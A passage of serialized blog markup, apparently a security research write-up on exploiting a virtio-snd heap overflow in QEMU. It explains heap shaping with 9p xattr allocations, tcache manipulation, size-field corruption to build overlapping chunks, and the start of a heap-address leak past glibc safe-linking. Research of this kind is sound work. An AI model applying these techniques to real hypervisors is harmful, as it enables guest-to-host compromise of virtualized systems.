",{"type":25,"tag":271,"props":140661,"children":140662},{"style":13603},[140663],{"type":30,"value":13632},{"type":25,"tag":271,"props":140665,"children":140666},{"style":13625},[140667],{"type":30,"value":139410},{"type":25,"tag":271,"props":140669,"children":140670},{"style":13603},[140671],{"type":30,"value":13632},{"type":25,"tag":271,"props":140673,"children":140674},{"style":13625},[140675],{"type":30,"value":140676},"flags);\n",{"type":25,"tag":271,"props":140678,"children":140679},{"class":13593,"line":16791},[140680,140684,140689,140693,140697],{"type":25,"tag":271,"props":140681,"children":140682},{"style":16171},[140683],{"type":30,"value":25404},{"type":25,"tag":271,"props":140685,"children":140686},{"style":13625},[140687],{"type":30,"value":140688}," (err ",{"type":25,"tag":271,"props":140690,"children":140691},{"style":13603},[140692],{"type":30,"value":14307},{"type":25,"tag":271,"props":140694,"children":140695},{"style":16187},[140696],{"type":30,"value":16190},{"type":25,"tag":271,"props":140698,"children":140699},{"style":13625},[140700],{"type":30,"value":27925},{"type":25,"tag":271,"props":140702,"children":140703},{"class":13593,"line":16800},[140704,140709],{"type":25,"tag":271,"props":140705,"children":140706},{"style":16171},[140707],{"type":30,"value":140708},"        goto",{"type":25,"tag":271,"props":140710,"children":140711},{"style":13625},[140712],{"type":30,"value":140713}," out_nofid;\n",{"type":25,"tag":271,"props":140715,"children":140716},{"class":13593,"line":16823},[140717],{"type":25,"tag":271,"props":140718,"children":140719},{"style":13625},[140720],{"type":30,"value":16501},{"type":25,"tag":271,"props":140722,"children":140723},{"class":13593,"line":16832},[140724],{"type":25,"tag":271,"props":140725,"children":140726},{"emptyLinePlaceholder":18},[140727],{"type":30,"value":16829},{"type":25,"tag":271,"props":140729,"children":140730},{"class":13593,"line":16841},[140731],{"type":25,"tag":271,"props":140732,"children":140733},{"style":13625},[140734],{"type":30,"value":117894},{"type":25,"tag":271,"props":140736,"children":140737},{"class":13593,"line":16907},[140738],{"type":25,"tag":271,"props":140739,"children":140740},{"emptyLinePlaceholder":18},[140741],{"type":30,"value":16829},{"type":25,"tag":271,"props":140743,"children":140744},{"class":13593,"line":16915},[140745,140749,140753,140757],{"type":25,"tag":271,"props":140746,"children":140747},{"style":16171},[140748],{"type":30,"value":25404},{"type":25,"tag":271,"props":140750,"children":140751},{"style":13625},[140752],{"type":30,"value":139511},{"type":25,"tag":271,"props":140754,"children":140755},{"style":13603},[140756],{"type":30,"value":23586},{"type":25,"tag":271,"props":140758,"children":140759},{"style":13625},[140760],{"type":30,"value":140761}," P9_XATTR_SIZE_MAX) {\n",{"type":25,"tag":271,"props":140763,"children":140764},{"class":13593,"line":16945},[140765,140770,140774,140778],{"type":25,"tag":271,"props":140766,"children":140767},{"style":13625},[140768],{"type":30,"value":140769},"        err ",{"type":25,"tag":271,"props":140771,"children":140772},{"style":13603},[140773],{"type":30,"value":1065},{"type":25,"tag":271,"props":140775,"children":140776},{"style":13603},[140777],{"type":30,"value":64371},{"type":25,"tag":271,"props":140779,"children":140780},{"style":13625},[140781],{"type":30,"value":140782},"E2BIG;\n",{"type":25,"tag":271,"props":140784,"children":140785},{"class":13593,"line":16953},[140786,140790],{"type":25,"tag":271,"props":140787,"children":140788},{"style":16171},[140789],{"type":30,"value":140708},{"type":25,"tag":271,"props":140791,"children":140792},{"style":13625},[140793],{"type":30,"value":140713},{"type":25,"tag":271,"props":140795,"children":140796},{"class":13593,"line":16984},[140797],{"type":25,"tag":271,"props":140798,"children":140799},{"style":13625},[140800],{"type":30,"value":16501},{"type":25,"tag":271,"props":140802,"children":140803},{"class":13593,"line":16992},[140804],{"type":25,"tag":271,"props":140805,"children":140806},{"emptyLinePlaceholder":18},[140807],{"type":30,"value":16829},{"type":25,"tag":271,"props":140809,"children":140810},{"class":13593,"line":17052},[140811],{"type":25,"tag":271,"props":140812,"children":140813},{"style":13625},[140814],{"type":30,"value":117894},{"type":25,"tag":271,"props":140816,"children":140817},{"class":13593,"line":22168},[140818],{"type":25,"tag":271,"props":140819,"children":140820},{"emptyLinePlaceholder":18},[140821],{"type":30,"value":16829},{"type":25,"tag":271,"props":140823,"children":140824},{"class":13593,"line":22186},[140825,140829,140833,140837,140842,140846,140850,140854,140859,140863,140867],{"type":25,"tag":271,"props":140826,"children":140827},{"style":13620},[140828],{"type":30,"value":140597},{"type":25,"tag":271,"props":140830,"children":140831},{"style":13625},[140832],{"type":30,"value":394},{"type":25,"tag":271,"props":140834,"children":140835},{"style":13603},[140836],{"type":30,"value":13632},{"type":25,"tag":271,"props":140838,"children":140839},{"style":13598},[140840],{"type":30,"value":140841},"xattr_fidp",{"type":25,"tag":271,"props":140843,"children":140844},{"style":13625},[140845],{"type":30,"value":14411},{"type":25,"tag":271,"props":140847,"children":140848},{"style":13598},[140849],{"type":30,"value":50094},{"type":25,"tag":271,"props":140851,"children":140852},{"style":13625},[140853],{"type":30,"value":1860},{"type":25,"tag":271,"props":140855,"children":140856},{"style":13598},[140857],{"type":30,"value":140858},"xattr",{"type":25,"tag":271,"props":140860,"children":140861},{"style":13625},[140862],{"type":30,"value":1860},{"type":25,"tag":271,"props":140864,"children":140865},{"style":13598},[140866],{"type":30,"value":61614},{"type":25,"tag":271,"props":140868,"children":140869},{"style":13625},[140870],{"type":30,"value":13665},{"type":25,"tag":271,"props":140872,"children":140873},{"class":13593,"line":22231},[140874,140879,140883,140887,140891,140895,140899,140903,140907,140911,140915,140919,140923],{"type":25,"tag":271,"props":140875,"children":140876},{"style":13620},[140877],{"type":30,"value":140878},"    v9fs_string_copy",{"type":25,"tag":271,"props":140880,"children":140881},{"style":13625},[140882],{"type":30,"value":394},{"type":25,"tag":271,"props":140884,"children":140885},{"style":13603},[140886],{"type":30,"value":13632},{"type":25,"tag":271,"props":140888,"children":140889},{"style":13598},[140890],{"type":30,"value":140841},{"type":25,"tag":271,"props":140892,"children":140893},{"style":13625},[140894],{"type":30,"value":14411},{"type":25,"tag":271,"props":140896,"children":140897},{"style":13598},[140898],{"type":30,"value":50094},{"type":25,"tag":271,"props":140900,"children":140901},{"style":13625},[140902],{"type":30,"value":1860},{"type":25,"tag":271,"props":140904,"children":140905},{"style":13598},[140906],{"type":30,"value":140858},{"type":25,"tag":271,"props":140908,"children":140909},{"style":13625},[140910],{"type":30,"value":1860},{"type":25,"tag":271,"props":140912,"children":140913},{"style":13598},[140914],{"type":30,"value":61614},{"type":25,"tag":271,"props":140916,"children":140917},{"style":13625},[140918],{"type":30,"value":44},{"type":25,"tag":271,"props":140920,"children":140921},{"style":13603},[140922],{"type":30,"value":13632},{"type":25,"tag":271,"props":140924,"children":140925},{"style":13625},[140926],{"type":30,"value":140610},{"type":25,"tag":271,"props":140928,"children":140929},{"class":13593,"line":22337},[140930,140935,140939,140943,140947,140951,140955,140959,140963,140967],{"type":25,"tag":271,"props":140931,"children":140932},{"style":13598},[140933],{"type":30,"value":140934},"    xattr_fidp",{"type":25,"tag":271,"props":140936,"children":140937},{"style":13625},[140938],{"type":30,"value":14411},{"type":25,"tag":271,"props":140940,"children":140941},{"style":13598},[140942],{"type":30,"value":50094},{"type":25,"tag":271,"props":140944,"children":140945},{"style":13625},[140946],{"type":30,"value":1860},{"type":25,"tag":271,"props":140948,"children":140949},{"style":13598},[140950],{"type":30,"value":140858},{"type":25,"tag":271,"props":140952,"children":140953},{"style":13625},[140954],{"type":30,"value":1860},{"type":25,"tag":271,"props":140956,"children":140957},{"style":13598},[140958],{"type":30,"value":52262},{"type":25,"tag":271,"props":140960,"children":140961},{"style":13603},[140962],{"type":30,"value":16155},{"type":25,"tag":271,"props":140964,"children":140965},{"style":13620},[140966],{"type":30,"value":136613},{"type":25,"tag":271,"props":140968,"children":140969},{"style":13625},[140970],{"type":30,"value":140971},"(size);\n",{"type":25,"tag":271,"props":140973,"children":140974},{"class":13593,"line":36608},[140975],{"type":25,"tag":271,"props":140976,"children":140977},{"style":13625},[140978],{"type":30,"value":17058},{"type":25,"tag":26,"props":140980,"children":140981},{},[140982,140984,140989,140991,140996,140997,141002,141004,141009],{"type":30,"value":140983},"Because the ",{"type":25,"tag":264,"props":140985,"children":140987},{"className":140986},[],[140988],{"type":30,"value":140345},{"type":30,"value":140990}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":25,"tag":264,"props":140992,"children":140994},{"className":140993},[],[140995],{"type":30,"value":140345},{"type":30,"value":12218},{"type":25,"tag":264,"props":140998,"children":141000},{"className":140999},[],[141001],{"type":30,"value":140352},{"type":30,"value":141003},", not just the ",{"type":25,"tag":264,"props":141005,"children":141007},{"className":141006},[],[141008],{"type":30,"value":140352},{"type":30,"value":141010}," we actually care about. But we will get around this later in the blog post.",{"type":25,"tag":26,"props":141012,"children":141013},{},[141014,141015,141020],{"type":30,"value":10272},{"type":25,"tag":264,"props":141016,"children":141018},{"className":141017},[],[141019],{"type":30,"value":140352},{"type":30,"value":141021}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":25,"tag":26,"props":141023,"children":141024},{},[141025,141027,141032,141034,141040,141042,141048,141050,141056],{"type":30,"value":141026},"Once allocated, we can write arbitrary bytes into the ",{"type":25,"tag":264,"props":141028,"children":141030},{"className":141029},[],[141031],{"type":30,"value":140352},{"type":30,"value":141033}," buffer through a ",{"type":25,"tag":264,"props":141035,"children":141037},{"className":141036},[],[141038],{"type":30,"value":141039},"P9_TWRITE",{"type":30,"value":141041}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":25,"tag":264,"props":141043,"children":141045},{"className":141044},[],[141046],{"type":30,"value":141047},"P9_TREAD",{"type":30,"value":141049},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":25,"tag":264,"props":141051,"children":141053},{"className":141052},[],[141054],{"type":30,"value":141055},"P9_TCLUNK",{"type":30,"value":141057}," request on that same FID.",{"type":25,"tag":26,"props":141059,"children":141060},{},[141061,141063,141069],{"type":30,"value":141062},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":25,"tag":264,"props":141064,"children":141066},{"className":141065},[],[141067],{"type":30,"value":141068},"65536",{"type":30,"value":141070}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":25,"tag":247,"props":141072,"children":141074},{"id":141073},"setting-the-heap-layout",[141075],{"type":30,"value":141076},"Setting the Heap Layout",{"type":25,"tag":26,"props":141078,"children":141079},{},[141080,141082,141087],{"type":30,"value":141081},"Ideally, we want a contiguous heap region consisting only of ",{"type":25,"tag":264,"props":141083,"children":141085},{"className":141084},[],[141086],{"type":30,"value":140352},{"type":30,"value":141088}," allocations, like this:",{"type":25,"tag":7764,"props":141090,"children":141092},{"code":141091},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[141093],{"type":25,"tag":264,"props":141094,"children":141095},{"__ignoreMap":7},[141096],{"type":30,"value":141091},{"type":25,"tag":26,"props":141098,"children":141099},{},[141100,141102,141107,141109,141114,141116,141121],{"type":30,"value":141101},"This lets us later create holes by freeing every other ",{"type":25,"tag":264,"props":141103,"children":141105},{"className":141104},[],[141106],{"type":30,"value":140352},{"type":30,"value":141108}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":25,"tag":264,"props":141110,"children":141112},{"className":141111},[],[141113],{"type":30,"value":136700},{"type":30,"value":141115}," field of the next live ",{"type":25,"tag":264,"props":141117,"children":141119},{"className":141118},[],[141120],{"type":30,"value":140352},{"type":30,"value":141122}," chunk.",{"type":25,"tag":26,"props":141124,"children":141125},{},[141126],{"type":30,"value":141127},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":25,"tag":26,"props":141129,"children":141130},{},[141131,141133,141138,141140,141145,141147,141152,141154,141159],{"type":30,"value":141132},"As mentioned earlier, ",{"type":25,"tag":264,"props":141134,"children":141136},{"className":141135},[],[141137],{"type":30,"value":140389},{"type":30,"value":141139}," always allocates two chunks: one for ",{"type":25,"tag":264,"props":141141,"children":141143},{"className":141142},[],[141144],{"type":30,"value":140345},{"type":30,"value":141146}," and one for ",{"type":25,"tag":264,"props":141148,"children":141150},{"className":141149},[],[141151],{"type":30,"value":140352},{"type":30,"value":141153},". We want to avoid having ",{"type":25,"tag":264,"props":141155,"children":141157},{"className":141156},[],[141158],{"type":30,"value":140345},{"type":30,"value":141160}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":25,"tag":661,"props":141162,"children":141163},{},[141164,141176],{"type":25,"tag":112,"props":141165,"children":141166},{},[141167,141169,141174],{"type":30,"value":141168},"Make ",{"type":25,"tag":264,"props":141170,"children":141172},{"className":141171},[],[141173],{"type":30,"value":140345},{"type":30,"value":141175}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":25,"tag":112,"props":141177,"children":141178},{},[141179,141181,141186,141188,141193,141195,141200],{"type":30,"value":141180},"Prepare a separate region whose sole purpose is to absorb ",{"type":25,"tag":264,"props":141182,"children":141184},{"className":141183},[],[141185],{"type":30,"value":140345},{"type":30,"value":141187},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":25,"tag":264,"props":141189,"children":141191},{"className":141190},[],[141192],{"type":30,"value":140345},{"type":30,"value":141194}," allocations from that separate freelist instead of placing them next to our ",{"type":25,"tag":264,"props":141196,"children":141198},{"className":141197},[],[141199],{"type":30,"value":140352},{"type":30,"value":141201}," chunks.",{"type":25,"tag":2352,"props":141203,"children":141205},{"id":141204},"separating-name-allocations",[141206],{"type":30,"value":141207},"Separating .name allocations",{"type":25,"tag":26,"props":141209,"children":141210},{},[141211,141213,141218,141220,141225],{"type":30,"value":141212},"We chose the second option. However, it is not as simple as issuing ",{"type":25,"tag":264,"props":141214,"children":141216},{"className":141215},[],[141217],{"type":30,"value":140389},{"type":30,"value":141219}," for N ",{"type":25,"tag":264,"props":141221,"children":141223},{"className":141222},[],[141224],{"type":30,"value":140345},{"type":30,"value":141226},"-sized allocations and then freeing them.",{"type":25,"tag":26,"props":141228,"children":141229},{},[141230,141232,141237,141238,141243,141244,141249,141251,141256,141258,141263],{"type":30,"value":141231},"At this point, we already know that ",{"type":25,"tag":264,"props":141233,"children":141235},{"className":141234},[],[141236],{"type":30,"value":140389},{"type":30,"value":141139},{"type":25,"tag":264,"props":141239,"children":141241},{"className":141240},[],[141242],{"type":30,"value":140345},{"type":30,"value":141146},{"type":25,"tag":264,"props":141245,"children":141247},{"className":141246},[],[141248],{"type":30,"value":140352},{"type":30,"value":141250},". If we simply call it with ",{"type":25,"tag":264,"props":141252,"children":141254},{"className":141253},[],[141255],{"type":30,"value":140352},{"type":30,"value":141257}," sized the same as ",{"type":25,"tag":264,"props":141259,"children":141261},{"className":141260},[],[141262],{"type":30,"value":140345},{"type":30,"value":141264},", we get a layout like this:",{"type":25,"tag":7764,"props":141266,"children":141268},{"code":141267},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[141269],{"type":25,"tag":264,"props":141270,"children":141271},{"__ignoreMap":7},[141272],{"type":30,"value":141267},{"type":25,"tag":26,"props":141274,"children":141275},{},[141276,141278,141283,141285,141291,141293,141299,141301,141306,141308,141313,141315,141320],{"type":30,"value":141277},"With that heap state, issuing a ",{"type":25,"tag":264,"props":141279,"children":141281},{"className":141280},[],[141282],{"type":30,"value":141055},{"type":30,"value":141284}," request would first free ",{"type":25,"tag":264,"props":141286,"children":141288},{"className":141287},[],[141289],{"type":30,"value":141290},".name A",{"type":30,"value":141292}," and then ",{"type":25,"tag":264,"props":141294,"children":141296},{"className":141295},[],[141297],{"type":30,"value":141298},".value A",{"type":30,"value":141300},". When ",{"type":25,"tag":264,"props":141302,"children":141304},{"className":141303},[],[141305],{"type":30,"value":141298},{"type":30,"value":141307}," is freed, the allocator sees that the preceding chunk ",{"type":25,"tag":264,"props":141309,"children":141311},{"className":141310},[],[141312],{"type":30,"value":141290},{"type":30,"value":141314}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":25,"tag":264,"props":141316,"children":141318},{"className":141317},[],[141319],{"type":30,"value":140345},{"type":30,"value":141321},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":25,"tag":26,"props":141323,"children":141324},{},[141325],{"type":30,"value":141326},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":25,"tag":26,"props":141328,"children":141329},{},[141330,141332,141337,141339,141344,141346,141351,141353,141359,141361,141366,141368,141374],{"type":30,"value":141331},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":25,"tag":264,"props":141333,"children":141335},{"className":141334},[],[141336],{"type":30,"value":140345},{"type":30,"value":141338}," allocation remains fixed at size ",{"type":25,"tag":264,"props":141340,"children":141342},{"className":141341},[],[141343],{"type":30,"value":118160},{"type":30,"value":141345},". We first allocate 16 xattrs whose ",{"type":25,"tag":264,"props":141347,"children":141349},{"className":141348},[],[141350],{"type":30,"value":140352},{"type":30,"value":141352}," size is ",{"type":25,"tag":264,"props":141354,"children":141356},{"className":141355},[],[141357],{"type":30,"value":141358},"0x30",{"type":30,"value":141360},". After that, we allocate another 16 xattrs, this time with ",{"type":25,"tag":264,"props":141362,"children":141364},{"className":141363},[],[141365],{"type":30,"value":140352},{"type":30,"value":141367}," size ",{"type":25,"tag":264,"props":141369,"children":141371},{"className":141370},[],[141372],{"type":30,"value":141373},"0x40",{"type":30,"value":141375},", and continue in the same way for each tcache size class.",{"type":25,"tag":26,"props":141377,"children":141378},{},[141379],{"type":30,"value":141380},"This yields the following layout:",{"type":25,"tag":7764,"props":141382,"children":141384},{"code":141383},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[141385],{"type":25,"tag":264,"props":141386,"children":141387},{"__ignoreMap":7},[141388],{"type":30,"value":141383},{"type":25,"tag":26,"props":141390,"children":141391},{},[141392,141394,141399,141401,141406,141408,141413,141415,141420,141422,141427,141429,141434,141435,141440,141442,141447,141449,141454,141456,141461,141463,141468,141470,141475],{"type":30,"value":141393},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":25,"tag":264,"props":141395,"children":141397},{"className":141396},[],[141398],{"type":30,"value":140345},{"type":30,"value":141400}," chunks end up in the ",{"type":25,"tag":264,"props":141402,"children":141404},{"className":141403},[],[141405],{"type":30,"value":118160},{"type":30,"value":141407}," tcache bin, along with the interleaved ",{"type":25,"tag":264,"props":141409,"children":141411},{"className":141410},[],[141412],{"type":30,"value":140352},{"type":30,"value":141414}," chunks of size ",{"type":25,"tag":264,"props":141416,"children":141418},{"className":141417},[],[141419],{"type":30,"value":141358},{"type":30,"value":141421},". The next 16 ",{"type":25,"tag":264,"props":141423,"children":141425},{"className":141424},[],[141426],{"type":30,"value":140345},{"type":30,"value":141428}," chunks are interleaved with ",{"type":25,"tag":264,"props":141430,"children":141432},{"className":141431},[],[141433],{"type":30,"value":140352},{"type":30,"value":141414},{"type":25,"tag":264,"props":141436,"children":141438},{"className":141437},[],[141439],{"type":30,"value":141373},{"type":30,"value":141441},"; when freed, those ",{"type":25,"tag":264,"props":141443,"children":141445},{"className":141444},[],[141446],{"type":30,"value":140352},{"type":30,"value":141448}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":25,"tag":264,"props":141450,"children":141452},{"className":141451},[],[141453],{"type":30,"value":140345},{"type":30,"value":141455}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":25,"tag":264,"props":141457,"children":141459},{"className":141458},[],[141460],{"type":30,"value":140345},{"type":30,"value":141462},"-sized chunks that will later be served to the ",{"type":25,"tag":264,"props":141464,"children":141466},{"className":141465},[],[141467],{"type":30,"value":140345},{"type":30,"value":141469}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":25,"tag":264,"props":141471,"children":141473},{"className":141472},[],[141474],{"type":30,"value":140352},{"type":30,"value":141201},{"type":25,"tag":247,"props":141477,"children":141479},{"id":141478},"corrupting-the-size",[141480],{"type":30,"value":141481},"Corrupting the Size",{"type":25,"tag":26,"props":141483,"children":141484},{},[141485,141487,141492,141494,141499,141501,141506,141508,141513,141514,141519],{"type":30,"value":141486},"The input format is guest-controlled, and we choose ",{"type":25,"tag":264,"props":141488,"children":141490},{"className":141489},[],[141491],{"type":30,"value":16567},{"type":30,"value":141493}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":25,"tag":264,"props":141495,"children":141497},{"className":141496},[],[141498],{"type":30,"value":16567},{"type":30,"value":141500}," is centered at ",{"type":25,"tag":264,"props":141502,"children":141504},{"className":141503},[],[141505],{"type":30,"value":42552},{"type":30,"value":141507}," (rather than ",{"type":25,"tag":264,"props":141509,"children":141511},{"className":141510},[],[141512],{"type":30,"value":138607},{"type":30,"value":138594},{"type":25,"tag":264,"props":141515,"children":141517},{"className":141516},[],[141518],{"type":30,"value":138585},{"type":30,"value":141520},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":25,"tag":26,"props":141522,"children":141523},{},[141524,141526,141531],{"type":30,"value":141525},"As we already concluded, ",{"type":25,"tag":264,"props":141527,"children":141529},{"className":141528},[],[141530],{"type":30,"value":138050},{"type":30,"value":141532}," is called with the amount:",{"type":25,"tag":7764,"props":141534,"children":141536},{"code":141535},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[141537],{"type":25,"tag":264,"props":141538,"children":141539},{"__ignoreMap":7},[141540],{"type":30,"value":141535},{"type":25,"tag":26,"props":141542,"children":141543},{},[141544,141546,141551,141553,141558],{"type":30,"value":141545},"And as mentioned earlier, ",{"type":25,"tag":264,"props":141547,"children":141549},{"className":141548},[],[141550],{"type":30,"value":138081},{"type":30,"value":141552}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":25,"tag":264,"props":141554,"children":141556},{"className":141555},[],[141557],{"type":30,"value":136700},{"type":30,"value":71441},{"type":25,"tag":26,"props":141560,"children":141561},{},[141562,141564,141569,141571,141576],{"type":30,"value":141563},"With the desired heap layout of repeated ",{"type":25,"tag":264,"props":141565,"children":141567},{"className":141566},[],[141568],{"type":30,"value":140254},{"type":30,"value":141570},"-sized ",{"type":25,"tag":264,"props":141572,"children":141574},{"className":141573},[],[141575],{"type":30,"value":140352},{"type":30,"value":141577}," chunks in place, we can then free every other one:",{"type":25,"tag":7764,"props":141579,"children":141581},{"code":141580},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[141582],{"type":25,"tag":264,"props":141583,"children":141584},{"__ignoreMap":7},[141585],{"type":30,"value":141580},{"type":25,"tag":26,"props":141587,"children":141588},{},[141589,141591,141596],{"type":30,"value":141590},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":25,"tag":264,"props":141592,"children":141594},{"className":141593},[],[141595],{"type":30,"value":140352},{"type":30,"value":141597}," chunk directly next to it:",{"type":25,"tag":7764,"props":141599,"children":141601},{"code":141600},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[141602],{"type":25,"tag":264,"props":141603,"children":141604},{"__ignoreMap":7},[141605],{"type":30,"value":141600},{"type":25,"tag":26,"props":141607,"children":141608},{},[141609,141611,141616,141618,141623],{"type":30,"value":141610},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":25,"tag":264,"props":141612,"children":141614},{"className":141613},[],[141615],{"type":30,"value":140254},{"type":30,"value":141617},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":25,"tag":264,"props":141619,"children":141621},{"className":141620},[],[141622],{"type":30,"value":140352},{"type":30,"value":141624}," chunk now has a corrupted and likely oversized size field:",{"type":25,"tag":7764,"props":141626,"children":141628},{"code":141627},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[141629],{"type":25,"tag":264,"props":141630,"children":141631},{"__ignoreMap":7},[141632],{"type":30,"value":141627},{"type":25,"tag":26,"props":141634,"children":141635},{},[141636,141638,141643],{"type":30,"value":141637},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":25,"tag":264,"props":141639,"children":141641},{"className":141640},[],[141642],{"type":30,"value":140269},{"type":30,"value":359},{"type":25,"tag":7764,"props":141645,"children":141647},{"code":141646},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[141648],{"type":25,"tag":264,"props":141649,"children":141650},{"__ignoreMap":7},[141651],{"type":30,"value":141646},{"type":25,"tag":26,"props":141653,"children":141654},{},[141655,141657,141662],{"type":30,"value":141656},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":25,"tag":264,"props":141658,"children":141660},{"className":141659},[],[141661],{"type":30,"value":140269},{"type":30,"value":13677},{"type":25,"tag":7764,"props":141664,"children":141666},{"code":141665},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[141667],{"type":25,"tag":264,"props":141668,"children":141669},{"__ignoreMap":7},[141670],{"type":30,"value":141665},{"type":25,"tag":26,"props":141672,"children":141673},{},[141674,141676,141682],{"type":30,"value":141675},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":25,"tag":264,"props":141677,"children":141679},{"className":141678},[],[141680],{"type":30,"value":141681},"0x400",{"type":30,"value":141683}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":25,"tag":7764,"props":141685,"children":141687},{"code":141686},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[141688],{"type":25,"tag":264,"props":141689,"children":141690},{"__ignoreMap":7},[141691],{"type":30,"value":141686},{"type":25,"tag":247,"props":141693,"children":141695},{"id":141694},"leaking-a-heap-address",[141696],{"type":30,"value":141697},"Leaking a Heap Address",{"type":25,"tag":26,"props":141699,"children":141700},{},[141701],{"type":30,"value":141702},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":25,"tag":26,"props":141704,"children":141705},{},[141706,141708,141714],{"type":30,"value":141707},"To do this, we abuse the forward (",{"type":25,"tag":264,"props":141709,"children":141711},{"className":141710},[],[141712],{"type":30,"value":141713},"fd",{"type":30,"value":141715},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":25,"tag":7764,"props":141717,"children":141719},{"code":141718},"fd = next ^ (curr >> 12)\n",[141720],{"type":25,"tag":264,"props":141721,"children":141722},{"__ignoreMap":7},[141723],{"type":30,"value":141718},{"type":25,"tag":26,"props":141725,"children":141726},{},[141727,141729,141734,141735,141740],{"type":30,"value":141728},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":25,"tag":264,"props":141730,"children":141732},{"className":141731},[],[141733],{"type":30,"value":70680},{"type":30,"value":18632},{"type":25,"tag":264,"props":141736,"children":141738},{"className":141737},[],[141739],{"type":30,"value":67612},{"type":30,"value":141741}," because there is no following entry. In that case, the encoding 